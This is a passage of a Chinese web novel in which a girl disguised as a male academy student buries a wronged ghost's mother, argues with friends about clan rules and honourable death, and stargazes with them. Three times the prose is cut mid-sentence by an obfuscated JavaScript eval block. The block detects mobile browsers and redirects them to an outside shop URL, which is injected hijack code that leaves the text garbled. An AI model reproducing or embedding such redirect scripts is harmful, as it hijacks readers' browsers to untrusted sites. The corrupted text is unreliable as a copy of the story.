刀刃比上烧焦发梢之处,看着眼前人,等她一个许可。 祝弥点头。 一截发丝便脱离落入他手中。 起身处理头发,桓错回来时又从身上掏出一个东西:“对了,还有这个。” 是一条白色细带。 但除了祝弥之外的人顷刻噗嗤笑出声。一向最有礼节有边界的王洵乐都在捂嘴抖着肩膀。 顶着三人异样的神色,祝弥接过:“?” 10. 邪符箓偷魂换生 祝弥昏迷时,桓错从地上捡起她的两件头饰:玉簪和缨带。才发现这人看似不起眼还三番五次被罚抄书,其实一直在糊弄书院先生们。 毕竟书院里最讲究仪容仪表,先生常说:“君子论道,先正衣冠,后正其心。” 而冠缨又是顶顶重要的一部分。 素色无纹的软布发带在三人面前荡了荡,三人才感慨最狂放不羁不受约束者当属这个祝梦成,原来这人看似无知得离谱,实则是万物皆不在意的超脱处世行径。果真世外高人啊—— 庾彦庭笑着问:“你原本缨带呢,哪里捡来的破布都系头上?亏得先生们没注意到,不然罚你多抄五篇!” 王洵乐也笑:“明日我给你拿个新的。” 桓错抬手嗅了嗅:什么皂角水,持香这么久。 “不许笑!”祝弥脸有些红,藏好那一小条布料。又翻翻白眼:“还不是怪桓错,刀太锋利。” 一通折腾,祝弥也再没什么异样,明日还有辰时上课,众人决定重新入睡。 不再熄灯,桓错合上被子躺下。 “你过去睡。”身边有无情又不容拒绝的声音传来。 确实无法拒绝,她一晚上太累了。 虽然不理解,桓错在庾彦庭和王洵乐中间重新躺下。 祝弥终于在单人大床上爽爽翻了个身。 被子被抢走的庾彦庭怒道:“先来后到的礼节呢?” 于是三人之床陷入了抢被大战,抢着抢着又忽然感慨起岁月匆匆,把手言谈起来,聊到兴头上还坐起来勾肩搭背。 有人摇头叹息说上一次同睡还是六年前。 桓错纠正是五年前。庾彦庭坚持是六年。二人又拌起嘴要王洵乐判决。王洵乐被迫陷入了回忆的沉思。 祝弥忍不住问:“你们两个到底为什么这么爱呛嘴?” 说着看过去,对面三人关系其实不如言语上那么生分,打横歪歪扭扭倒成一排,有人靠墙潇洒屈立着腿,有人懒散半躺掉下一截小腿,相互之间半贴半搂,尽管神情嫌弃,肢体却是亲近的。 桓错似乎心情不错,朝她抬了抬下巴:“单论相貌,梦成可还见过出我其右的人?” 鼻尖上红痣明晃晃地索求目光,顾盼生姿的眉眼睥睨过来。 ? 什么意思? 在说自己很好看?她刚刚问了什么来着?怎么还一副理所应该的口气? …… 忽然理解了老爱怼他的庾彦庭。 忽视掉张狂的语气,他那张脸确实招人,格外。 祝弥难以否认。 意外地,庾彦庭心虚地噤声了,在一旁安静地翻着白眼,好像这个话题是他天然的弱势,有回避的本能。 祝弥更加疑惑:? 对家还真就这么不甘心地默认了?快嘲笑他啊!这么没人性的话也说得出口! 你们手足龃龉的源头居然是外貌吗?! 这、么、肤、浅!? 祝弥没再被那张脸欺骗,露出了十分不给面子的嫌弃脸:“所以这就是你没朋友的原因吗?” 自称世界上最好看的脸一秒变阴天。 要不是一晚上桓错提醒了几次这人有洁癖,庾彦庭恨不得冲过去搂住祝弥的肩膀,感激涕零:“梦成,你就是我异父异母的亲兄弟。” * 第二天,三人是被祝弥一声不合时宜的呓语吓醒的。 她一睁眼就大喊:“原来梁川生从我进入山阴城的那一刻就盯上我了!” 桓错王洵乐在榻上,而庾彦庭体会到了昨晚祝弥的伤心时刻,是一睁眼就是蚂蚁般的贴地视角,他在地上。 兰亭上祝弥确实没有收到过梁川生的名帖。这些名帖也是因为她自知写字太差,存好以作学习之用的。阿苓临走前她还特意叮嘱了收好留下名帖。 梁川生这张,不是她接的,那就是阿苓接下,又擅自替她同类归置一起的。 还记得初入山阴城,阿苓买了个馅饼回来肩上就多了一团黑气,那时她正心酸回味上辈子总总,现在回想起阿苓的话,似乎听她说有个书生来搭话什么的。 “正常,乩童就别想远离神鬼邪祟之事了。你想逃,鬼可不会放过你。”庾彦庭挤到桓错旁边,重新趴回榻上,回答祝弥,“那梁川生那么厉害,估计一眼就看穿你这通灵体质,再旁敲侧击几句,发现你什么也不懂。是我我也选择你这颗炼魂大补丸,一定手牵着手带着大家和和美美被炼。妙啊。” 被猜透的祝弥惭愧得不敢说话,没错,她就像社畜牛马被压榨也只会回复:好的收到马上办。 桓错:“听起来你真的很想拜他为师。” 庾彦庭:“滚。” 王洵乐:“梁生逃了,彦庭应当是暗自庆幸的。” 庾彦庭微笑:“洵乐,你也滚。” 几人看似气定神闲地闲聊,其实都仰面朝天看天花板,是破罐破摔了。因为天已大亮,日光照进窗子里,讲堂处传来了学生朗诵的声音。 都装听不见。 很快,窗外浮现一个人影,半张脸出现在半开的窗缝里。 四人吓得半起身贴墙。 是羊胡子先生。正气得胡子朝天,开口却只针对一个人:“王洵乐!” 王洵乐意外地认命:“……先生。” 披头散发赤着脚就去开门。 听着先生点着他的头,一会说书院读书怎可懈怠,一会又说王家季林的丧事如何云云,祝弥才后知后觉回味过来王家大郎君这个身份,在书院、在王家都意味着什么。 是榜样、是继承人。 最后先生要这逃课四人抄王氏家规三遍,王洵乐抄六遍,便气冲冲甩袖走了。 祝弥窃喜:“才三遍!” 庾彦庭和桓错脸很黑:“得抄到下一个休沐日吧……” 王氏族谱可考至战国秦将王翦,五百年来家风之严学,代代有才人出,无数族人活跃在历朝历代史书之中。 罚桓、庾氏抄其家规,算不上辱没。 只是这五百年的家规……真真比他们四个人的命加起来再五倍都长。 既错过讲会,王家家规一时半会也抄不完,他们做了个去藏经阁的样子,绕开羊胡子先生的盯防,成功离开书院。 还有后事要处理。先去王家。 王家自季林一死就有道士轮班作法召魂,也有人像模像样摆了个七星灯还步罡踏斗地转来转去,灯灭了就趁人不注意偷偷续上。终于在昨日寅时,罗盘在季林尸身处终于有了反应,卜算从大凶变为吉。 好消息也从桓幼和房里传来,他随后不多时也醒了,一个劲儿地哭还讨水喝,最后要见祖母。 这是他自兰亭吐血以来第一次说话。 祖孙二人抱着哭至天亮。 庾彦庭路过那些揽功收钱的假道士,白眼都要翻上天了,胳膊肘捅捅王洵乐,示意招摇撞骗你不管? 王洵乐把他的手拍开,顺手披上仆从递来的素服,去桓幼和房间。 祝弥是第一次和清醒的桓幼和说话。 桓王两家的子弟,品貌怎么都是挑不出毛病的,不过桓幼和给祝弥最深刻的第一印象是眼睛亮亮的,会藏话,像冰山只露出一角。有点类似梁川生,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064798|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是桓幼和的眼神更为纯善清澈。祝弥不抗拒,还一见如故,也或许是召魂幡下一同差点被炼,劫后余生的二人天然的亲近。 同样是姓桓的,为什么另一个就那么一脸臭拽。 她问:“你可知惠娘?” 他虚弱勉力半起身,认真打量着祝弥,点点头:“惠娘有何求?” 祝弥说:“不是惠娘,是那个婴孩。” 桓幼和一惊,“那孩子是……” 祝弥沉痛点头。 那孩子是惠娘肚子里的孩子。 惠娘嫁到梁家,最初还以为是书香门第,结果是一坛酸臭菜缸,没享过一天的福。 这梁家祖上出过大官,到如今已是凋敝。家里再贫,二老也都有心气,一定要其子梁川生靠着读书光复门楣。何况自从怀真之祸后,世家放宽了对寒门察举入士的门槛,不少有学问但出自底层之人都做了他们的入幕之宾,搭上了青云梯。 正逢忍冬书院新修完毕,大增入学名额。 如果说如今世道上哪里还有不论门第出身只崇经纶满腹,除去钱唐这座百年书院,世间已难再有第二个世外桃源。届时和众世家子弟的同吃同住同学一场,同窗之谊比千金珍贵,此乃官场人脉。 这个机会对于梁家来说是千载难逢。 于是梁川生在外结交同识之士,学着附庸风雅,也经历过势利小人的刁难,囊中羞涩的窘迫,个中辛酸,不足为外人道也。 而惠娘要做的事情就简单多了,不下雨的时候还好,简单踏实,她和老牛作伴,经营几亩薄田,唯一的烦恼就是那姓王的定期挨家挨户来催粮。后来雨一直不停,田里的东西都没了,催粮的王富还是如约而至。 家里三张吃饭的嘴,来信总说缺钱的夫君,徭役修堤的榜文……惠娘实在没办法了,那王富却好心通融了她赋役的另一种方式…… 惠娘才知道,女子的美貌可真值钱。 …… 梁川生考上忍冬书院、上榜有名的那天,兴冲冲回家报喜,惠娘只当自己还有最后一件事要做好:梁家之大喜,得吃一顿丰盛饭。 …… 只道是,自缢鬼不成鬼,竟是那未出世的孩子怜母怜成了鬼。最后还为了母亲甘心受梁川生操控去夺魂。 借着祝弥能通灵,桓幼和也看见了惠娘的一生。二人相视不言,深长叹息。 祝弥还要去完成那鬼婴孩所求之事。于是便匆匆出门,还没出门便觉得哪不对劲。猛一回头,身后两个身影也尴尬停下。她无语:“我自己就行。孩子的心愿很小。” 桓错很坦然:“幼和让我盯着你,我在他才放心。” 庾彦庭看天:“这路是公家路,我走哪谁也管不着。” “真要和我去?” 二人毅然点点头。 山阴城的衣肆很久没见到贵人亲自上门购衣了,一来还来三个。只不过有点反常,是三个丰神俊朗华贵翩跹的公子哥。 原本在柜前招呼其他顾客的店主妇,余光中看见前来的三人中有人神色不善还趾高气昂,暗道不妙可能是来找茬的,便急忙入后找来了自己夫君,要他一起相迎。 祝弥看了看一进衣裳店就像猫怕水的桓庾二人,目不斜视,皱眉抱胸,脚不挪一步,浑身不自在。生怕别人看不出他们英伟挺拔的八尺男儿与此地气场深刻不合。 无语,强忍白眼,祝弥春风和煦地笑着对那掌柜妇人说:“店家,我给家里的妹妹挑成衣。”又挡住身后凶神恶煞的两位门神,“这两位,是随从,不是来找事的。” 桓错:“……” 庾彦庭:“……” 11. 邪符箓偷魂换生 店家夫妇骤然松气笑开,妇人不惜堆出脸上所有褶子,手帕甩到祝弥肩上,带出一阵香气,“哎哟,郎君,来我们店里就对了!” 说着便将人迎入铺内。 内里展柜衣裳琳琅满目,款式繁多。祝弥看花了眼,挑出来的衣裳都被店主妇用难以掩盖的神情婉拒了,曲裾款式的早已过时,这种料子是老太太穿的,那个是寝衣,这个是男装……旁边的几个娘子也看不下去,大着胆子问妹妹身量和喜好,每人挑出一件最满意的争着给她推荐。 祝弥实在手足无措,从人群中抬头问外面人:“你们也帮我看看?” 还是庾彦庭接受现状得快一些,拽着桓错就挤到展柜前跟着发表意见,惹得娘子们小声惊呼,更加雀跃。 祝弥指着一位娘子手上的简单大气的青衫白裙,对桓错、庾彦庭问:“你们也都见过惠娘……呃,我妹妹,她适合素一点?” 庾彦庭走近,摸着下巴,仔细打量,挑中了另一件绿衫红白间色裙,落肩处还有荷叶边:“这件吧,鲜艳活泼,惠娘会开开心心的。” 祝弥见过惠娘穿艳色衣裳,那是迫于生计,想必是极不开心的。自缢时穿的也是一件水洗成米白色的细布裙,看得出是她最好也较为值钱的衣裳了。因为她的尸身被取下时,那翁媪把她的外裳也剥了下来。 惠娘总是轻声温婉的,穿得太活泼,不像她。于是祝弥摇摇头,拒绝得很无情:“没品。” 庾彦庭被驳斥了,也不客气一时口快:“你要挑寿衣啊?” 说完就发现自己说错话了,又立马闭嘴。 祝弥狠狠地瞪了他一眼,又朝桓错:“哪件?” 几位娘子当即热情地举起衣裳围着桓错,希冀他多看自己一眼。 桓错来回看了两遍:“……不能都买吗?” 收获了祝弥的第二记白眼。她叹气,男人实在派不上用场,一个愚蠢口快到说寿衣,另一个的大款口气是要怎样,每月定期开棺给一具白骨换衣裳吗? 于是决定自作主张,就要素雅的那件。 庾彦庭不服气,还想为自己的审美争一口气,不惜举着自己看中的那件衣裳和祝弥的并排,对着桓错拉票:“灵玦,你再看看呢,这可是给你未过门的妻子挑的。” 桓错:“?” 祝弥:“?” “那不是吗,”庾彦庭理直气壮,下巴点点祝弥,又点点桓错:“你妹妹,不是他未婚妻吗?” 不光是为了拉高桓错意见的权重,他以往就爱做这些让小娘子们变脸的事情。 果不其然周围的娘子们掩饰不住的一连串“啊呀、哎呀”,拿衣裳的手都低了低。 但不知道为何,祝弥确实就把自己手里的衣裳朝桓错摆了摆,很给庾彦庭或者是他的面子,示意:给出你尊贵的意见吧未、婚、夫。 桓错无语。倒也仔仔细细打量起两件衣裳来,风格天差地别,他也看不出什么。唯一能看出的是,抬手作势选择庾彦庭手上那件时,庾彦庭眼睛就明亮起来,另一个就臭脸;改道去摸祝弥手上那件,祝弥嘴角就高高扬起,另一个就臭脸。 “……”桓错下一秒就有了倾向,“那就这件吧。” 祝弥眼睛眯眯,嘴角飞起。 庾彦庭咬牙切齿:“桓灵玦!你、你和她一样没品!” 结账时,祝弥摸摸前襟又摸摸袖子,犹豫了一下。回头看看桓错又看看庾彦庭,最终挑了一个看起来有钱的:“桓灵玦,你过来付钱。” 她有带钱包,只是忽然貔貅上身,不舍得自己出钱了。 桓错掏银钱的时候看见祝弥从店主妇那偷偷摸摸接过什么东西,随口一问:“还挑了什么?” “别管别管!”却立马被人慌里慌张地用一个背影彻底挡回视线。 “啧,我付的——”话音没落,他余光还是看见了一点,布料轻薄,小小一件,温暖柔软的烟红色,迅速被她藏到青白相间的衣料中去了。 那是什么? 不敢细想。 又不可置信地看向祝弥。 被她恼怒回瞪,嘴型三个字:别多嘴。 买完了衣裳去梁川生的家。梁二老失了儿子正哭哭啼啼,听见祝弥问惠娘该葬在何处、梁家祖坟在哪,又骤然支支吾吾起来。 祝弥不解,庾彦庭冷笑一声,说出梁老犹豫的心声,“惠娘怀了他人的孩子,又是自缢惨死,怎么还能算作梁家妇,对吧?” 桓错正欲使出一些经典桓氏手段让人心服口服。被祝弥拦下,语速很快:“知道了。” 不再强求。 最终他们选择了荒野地当作坟地——惠娘自缢的小树林,依山傍水,鸟语花香。想来她是很喜欢这片景色的。 最后一抔土盖上,葬好惠娘之后,祝弥对着梁二老说,声音冷冷:“惠娘一事本是你梁家事,你儿险些害了数条人命,如今王家看你们可怜不与你们计较,安葬惠娘的钱财人力我们也都料理了。我要你们只做一件事,从今往后,清明、中元、重阳、寒衣等等你们祭奠祖宗有的,惠娘也要有。” 二老颤抖着连连点头。 祝弥又认真补充:“别想着敷衍了事,人在做,天在看。我们几个是讲理之人,但鬼既不讲理也不是人。你们若不懂得知足感恩,它会来索命的。” 这不是吓唬人的虚言。 婴儿小鬼就守在母亲的坟边,安静了不少。从祝弥第一次看见它,只来来回回“听”见“娘无衣、娘无衣”三个字。 可祝弥心里十分萧敝,明明是它从未来到过这个世上,明明是它也没有衣裳穿啊。 那件婴儿穿的小肚兜,就在惠娘身旁,它会发现的。 料理完了后事,几人回了书院,在藏经阁和王洵乐碰面。从他那得知王家已经处置了王富。 今年汛期江满,洪涝连连,王家原本体恤民生,下达薄赋,谁知那王富竟吃了熊心豹子胆欺上瞒下,从中克扣粮税。难怪被梁川生记恨,第一个取的就是他的魄。王富转醒之后,跪地大恸不已,一副死里逃生幡然悔悟的样子,只道:“一切认罪认罚。” 祝弥对其他人的结局不为所动,坐下之后就沉心抄写王氏家规,什么忠、义、孝、信、节…… 一笔一划地写着,数出一个一个当下不适合写字的毛病:字太多、纸太软、墨太干、笔太燥、有人太吵。 庾彦庭不知自己上了黑名单,调戏完桓错、王洵乐,惹了两顿骂又凑到祝弥面前,一张大脸横在祝弥和毛笔中间,憋笑:“梦成,写几个字这么难过?我看你脸都黑了!” 祝弥不说话,举着毛笔尖尖就往他脸上戳去,吓得他一屁股墩坐在地上,嘿嘿地赔笑:“回来一句话也不说,灵玦和洵乐都不敢问,还以为你在和我们生气。” “是啊。”祝弥点兵点将:“你,你,你,我看你们三个都不爽。特别是你,王洵乐。” 王洵乐诧异:“啊?” 祝弥举起抄字的纸晃晃:“五百年的家规?你们姓王的一定都很引以为豪吧。” 他试探回:“还行……?” 祝弥:“当然自豪了,忠义孝信节样样都拿得出手,不光你们姓王的誓死捍卫自己树立起来的道德标杆,其他所有人也都追求这种德行美名,个个都有了不起的理想去实现,活着就是在挑选一种信条去死,还活着只是因为没找到。好像只有牺牲奉献的那一刻你们才真正地活着,就为了名垂千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064799|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古的万人赞怀,美其名曰丹心啊风骨啊。你们这个时代的人,命好像是最贱的。我看你们这家规第一条就该改成‘好死’!” 王洵乐有点懵,慢慢问:“死得其所,不是一个好结局么?” 庾彦庭拍着大腿表示痛快赞同:“那可不嘛,我就等着胡人继续往南打呢让我当个大将军光宗耀祖死在战场上,然后变成一只吃不饱的执念鬼,天天趴你耳边上给你说冷笑话,哈哈哈哈哈。” “既然是好结局为何你耿耿于怀王静源那么多年!”说完,祝弥又狠狠地白了庾彦庭一眼:“对对对,你死在几千里外的战场上,帅完后变成鬼就哭着想起我来了,但是对不起我这里不接野鬼的单子,您滚远点。” “死得其所”于逝者来说是好结局,对还活着的人来说又不是。王洵乐怎会不懂这种错位的生死观?祝弥短短几天就勘破他一直不愿说出口的矛盾感。 嗫嚅半天,他说:“大概是我境界不够。父亲……想必是心甘情愿,不然,也不会不寄魂于我,走得那么干脆。” “所以说,为什么总那么轻易地就去死!”祝弥的脸和耳朵憋得涨红,一个劲儿拿案几上的文具砸地上的庾彦庭,“还不是怪你们这洗脑的家规,什么狗屁忠义信孝节,害死了王静源,怀真之祸是他一手造就的又怎样啊,活下来多抱几本典籍留给后世不好吗,弥补不是该优先于谢罪吗?责任感呢?!还有惠娘,为了一毛不值的愚孝失去了贞节,又为了一毛不值的贞节去死了,那梁老头老太有感激她一点吗?多睡几个男人怎么了,就该死吗?九泉之下她知道自己肚子里的孩子有多想出世见见她吗?她甚至、她甚至留下了足够的钱给梁川生娶新的妻子……越想越气……” 庾彦庭闪躲砸过来的砚台,差点被就地正法,吓出颤音:“抄的这家规也不是我家的啊!你是要杀了我吗!” 桓错默默抢下并收好案几上还健在的物件。听她这一番话,他忽然找到祝弥这个人总是莫名吸引他的特质了。 很准确的四个字:“格格不入”。 言行、举止、眼神、看法都怪得很。一打眼望过去,她像在人群中如坐针毡,行坐都极其不自然。就好像她自己说的,她不属于‘这个时代’。但这话是什么意思? 桓错不对情绪失控之人辩经,指节叩叩桌面吸引注意力,只有一个简单问题想问:“‘木乃伊’是什么意思?那天你说洵乐变成木乃伊了。” 但他一开口就像火上浇油,祝弥转向他更加愤怒:“木乃伊就是你是一个猪头鹅!我最气的就是你!你的刀很锋利是吗,隔三岔五往人脖子上放?你给我交代这小半辈子一共杀过多少人,我要一一给他们伸冤!都不用画那什么招阴役鬼符就能给你老老实实治好了!” 祝弥气得起身要走,庾彦庭连忙拦住:“没错!这桓灵玦就是讨人厌!——嘿嘿梦成,姓王的家训气人归气人,我们都已誊抄到孝章了,你这,啧,就写了几个字,到时候先生只打你板子可别又发脾气。别气了,桓灵玦莽撞不懂事,您大人有大量气坏了身体可得不偿失。不是爱命吗?要修身养性消消气——” 桓错:“……” 祝弥:“哼!” 见她脸色稍有缓和,庾彦庭一面冲其他二人使眼色一面继续哄:“梦成可得好好教化教化我,日后我当了庾氏家主,马上改家规,第一条:人不想活,天诛地灭。第二条,庾氏兵法三十六计,苟活为上上计。” 肩膀蹭蹭她,挑眉讨好道:“如何?” 祝弥:“……” 庾彦庭把气冲冲的人迎回书案上,桓错黑着脸铺纸,王洵乐吞吞口水研墨,庾彦庭又觍着脸蘸笔递给她,一时间三书童殷勤伺候少爷,好大的排场。 12. 鬼跳傩舞傩面掉 祝弥好不容易赶上他们抄写的进度,天已经全暗了,只有烛火安静地晃动。抡着酸胀手臂走出屋外,发现那三人整整齐齐就着台阶靠躺看天,少见的祥和。 于是她也跟着抬头看。 是一片浓郁的星空。银河斜斜地从东南角天际伸出,四散泼洒出无数的星星点点,灿烂到让人迷失。 她在最旁边,庾彦庭的身边坐下,默默加入他们原本的谈话。 没人有多余动静看她。氛围似乎有点凝重,因为一向最吵闹的庾彦庭难得地很安静。 王洵乐瞥了祝弥一眼,声音低低继续道:“年幼时,长辈总说人死后会变成天上的星星,只有成名立业,自己的星星才会变得很亮,被所有人看见。我想,天上最亮的那颗大圆盘理所当然是天子。后来我又想,那未来有一天,父亲去世后的星星也应当和月亮一样亮。” 大概是受到祝弥先前那一通胡乱发脾气的影响,他发现把心里话统统说出口不是脆弱的表现。今天好像时间、氛围、人物都很适合,于是就着这片星空,他娓娓道来: “我一直在为自己是第二颗月亮的儿子而自豪,甚至暗暗期待天上出现第二颗月亮,真可笑啊,连死亡都不懂的年纪,先懂得了虚荣。或许不肯离开书院的父亲是被我咒死的。” “灵玦,当时我不理解你。什么‘鹅走梅山’,我只当这个称呼和行径是沽名钓誉,心里是轻视的。有些人就是这样,不自傲到狠狠地折断一下,就永远学不会低头和共情。等到我忽然发现王洵乐三个字后也跟着‘雪踏素足’的故事……那阵子若没有你来开解,我……很难走出来。那时我既害怕晚上抬头看见天,又厌烦了每天醒来都要重新逼自己确认一遍父亲已经不在。不在这两个字怎么形容呢,就是头上下着一场永远不会停的雨,而我还不愿撑伞……灵玦,对不起……” 说着他低头转着手上的那只玉笔,那只王静源赠给怀真,最后又回到王洵乐手里的笔,在月下隐隐泛着淡蓝色剔透的荧光。 忽然随手一抛,一抹荧光飞了出去,越过青石板,草地上滚了几下,被衬得更绿。 “哎哟喂!”庾彦庭弯着腰去追笔,一边擦拭一边小声抱怨:“……别拿玉器出气呀。” 桓错:“人无法有全然的感同身受。知我者、不知我者都是他人,本心应当如何,便如何。就像有人唤我‘弄鹅夫’,我倒也懒得计较。哪天心情实在不太好,”说到这里斜睨身旁人一眼,轻哼一声,“杀了他父母再自尽便是。” 庾彦庭被点名批评似地狠狠缩了缩脖子,格外心虚:“对不起行了吧,我父母双全,我不是人,我和您二位公子道歉。”说着又推推祝弥的肩膀,拉人下水似地,“梦成,快,你也父母双全,和二位伤心郎君道个歉。” 祝弥白了他一眼。 真要算的话,他们这里四个人加起来才勉强凑个两双父母。 都得和无父无母的小满道个歉。 王洵乐扯着嘴角笑出来一声。 “灵玦,你还记得你母亲的音容样貌吗?” 桓错:“……原本快忘了。” 祝弥:“……” 王洵乐:“我只要想到有一天父亲在我脑海里终将面目模糊成一种感觉,我就……心痛。” 在场的人默契闭口。 他手背盖在眼睫上,继续说:“可……我好像因此害死了季林叔父。” 因为不忍遗忘而用仇恨去记忆,却发现多年执念酝酿成一场恶果。 祝弥:“……” 桓错:“……” 庾彦庭:“……” 此时,三人不对视便心意相通:确实,不怪你怪谁呢。 可是没人要怪你。 无人敢接话。王洵乐按着额头喃喃:“还差点害了幼和……” 三人慌张一齐道:“幼和可不怪你!全是梁川生的错!” 祝弥憋了半天憋出一句安慰的话:“要不是被别有用心的人利用,怀真成鬼,顶多伤你自己,不伤别人!” 忽然手臂被人碰了碰,庾彦庭一脸嫌弃,凑到她耳边声音极低:“这是什么话!你得说:这一切都不是他的错,杀父之仇刻骨铭心,孔夫子来了也得花二十年自我开解!” 祝弥推他回去,也低声:“可怀真确实在那笔上,还能不怪他吗……你自己怎么不说!” “我说不出口!” “那我就说得出口了?” “我不配说!” “我是没立场!” 无视两人推推搡搡嘀嘀咕咕,桓错挡嘴咳嗽一声:“幼和的事非要怪,就怪梦成吧。” 祝弥:“?” 桓错坐直了点,侧过中间的庾彦庭看她:“梦成铁石心肠,冷漠无情,什么都能看见,却什么都不说。” 祝弥瞪大了眼睛:“血口喷人!” 这人怎么这样!鸟尽弓藏、过河拆桥?早就和他澄清了,她是初来乍到云里雾里,什么都不知道! 桓错:“早知道我见你第一面就该把匕首拿出来,这样你也不敢有所保留了。” 世间若还有人对军功起家的桓氏武力值不服,不是存心寻死的就是井底之蛙。 不服的井底之蛙气急败坏,梗直了脖子:“你想打架吗?” 听见祝弥这话,本来想默默退出交锋点的庾彦庭又硬着头皮拦在中间:“可别了,我皮糙肉厚、偶尔惹惹着他就算了,你这瘦胳膊瘦腿的,可经不住半把式。” 找梁川生的那晚,三个人都当昏迷的祝弥是累赘,跑着跑着轮流甩手了个遍,每个一接过都分神讶异:这人怎么会这么轻? 有人双手托着还颠了颠,发愣似地再三确认。 “就是因为弱才敢啊,你看他敢还手吗?”说着,祝弥就越过庾彦庭朝桓错扑过去。 庾彦庭先闪,桓错后闪,二人顷刻灵活跳开,像有狗屎临头、老太碰瓷一样避之不及。 桓错拍拍衣袍,冷眼一瞥:谢了,确实不敢。 怕一不小心造了杀业惹鬼上身,还找不到驱鬼的了,因为驱鬼的就是那只鬼。 祝弥扑了空,像个猫似地扑到王洵乐眼下,四目相对。 “噗——” 然后就看见王洵乐那张原本还拧眉抿唇的脸忽然笑开,眉目舒展,嘴角弯弯: “我从没想过治灵玦的竟是梦成这样的人。” 他手肘支在膝上,手掌托着下颌,露出了王家大郎君一贯温润如玉的和煦笑脸:“果然啊,兰亭那晚我就觉得你们很有缘。” 一时间几人深感肉麻,很是无语。 祝弥翻了个身,一抬眼就看见天空上最容易辨认的“猎户腰带”三颗星,像是想起什么,胡乱指着天空,信手拈来:“星座的话,洵乐应该是巨蟹座,彦庭是射手座,桓灵玦嘛……哼,没那义务透露。” 鉴于祝弥的卜天官的家庭背景,三人只当这是什么闻所未闻的卜天玄妙用语,一时都谨慎了起来,不由得暗下思考:“星座”是什么,怎么不是星宿、也不是星官? 后来,任凭他们再怎么央求祝弥解释巨蟹和射手的含义,可是时运?可是劫难?可是谶言?祝弥只一脸得逞,只摇头不语,笑得很开心。 因为桓错的脸最黑:……那我没有座吗? 夜深,不宜吵闹,四人回寝,各自入睡。 祝弥到这儿的时间长了,认识了一些人,加上鬼里鬼气的梁川生也不会在眼前晃悠、且只要她不存心惹桓错也不会动不动有刀架在她脖子上。这下总算安心了些,潜心练字、上课、抄书、睡大觉——和鬼打完交道总是很累、很累,只比以前一天三份兼职好点。 书院里少了个学生,少了个先生,像是没人发现似地,一切照常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064800|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运行。 天天往山阴跑、制服底下是孝服的王洵乐像时钟报时,告诉她哪天是入殓,哪天是停柩,哪天又要出殡。祝弥不懂他什么意思,只懂鬼,只知道能去王家吊唁的,都是大人物,她不配去。 毕竟,那可是天上第二颗月亮的弟弟的丧事,怎么说,至少也得是颗大火星。 而她自己,是只萤火虫吧。 桓错说的没错,世上没有百分之百的感同身受。 祝弥完全不感同身受那三个桓王庾,随便他们死了爹又死了娘,她不是不想,是确实做不到。如果她不是祝弥,那她这辈子都不可能和他们说上一句话。人家是公卿显贵之流,钟鸣鼎食之家,一举一动都有史官似的门客记录,什么“鹅走梅山”、“雪踏素足”,又惨又美,而她小满的倒霉巅峰——一天三份兼职下班下雨没伞手机掉水里回家外卖被偷洗澡没热水发脾气脚趾头撞到桌腿。 太长了,上不了台面。 小满其实很阴暗,老鼠人似地仇富。但她尽量让祝弥光明一点,心态放平一点,特别是天天对着桓错,那张脸。 不让桓错移动两床之间的屏风,再三强调自己的洁癖,不喜触碰,一碰别人就像浑身有蚂蚁在爬。 被莫名警告的桓错托着双手,凭空颠了颠,“那天你被偷魂,我们六只手对你又抗又抬的,怎么没见你难受得自己起来走?” “晕倒不算。” “藏经阁怀真现身时,你抓着洵乐的手。” “扶乩不算。” “骑马你一直勒我的腰。” “……隔着衣裳!” “洁癖的标准可真灵活。” “……反正我说了算!” 这人怎么还挺嘴欠的,下头了! 每天晚上入睡她会翻遍脑海,追忆收藏夹里的那几位男菩萨,缓解燃眉之急的焦虑感。 还是隔着屏幕的好,会媚笑讨好,扭腰跳舞,最重要的,边界感很足,绝对不会半夜爬上她的床、又或者莫名睡在她旁边。 因为男女实在有别。 年长她几岁的惠娘扮男装去修堤岸已是十分勉强,身形、腰肢,她作为女性天然地由此能分辨惠娘是女子。而如今她十六岁,借着少年人未发育完全的身形雌雄难辨,才得以混迹在这个书院里,而不知道还要在这里待多久。 她不想陷入和惠娘相同的境地。 这夜晚是越来越难熬了,她得等邻床先有熟睡的动静才能慢慢入眠。 一日课后,王洵乐给他们透露一个书院的内部消息,大约要早于官方两个休沐周期:下月的书院第一次会讲,他长姐服完丧,会来听讲。 祝弥不懂的事很多,但是很会察言观色——主要是看另外二位的反应:庾彦庭的脸意外地冷了下来,而桓错,一副做作的风轻云淡。 她眉毛一挑:嗯?有故事! 会讲是书院历年来的一大特色。会请来一些声名远扬的文人学士来当客座先生,或讲课,或辩经。届时书院向公共开放,有心求学之人亦可入院旁听参与。 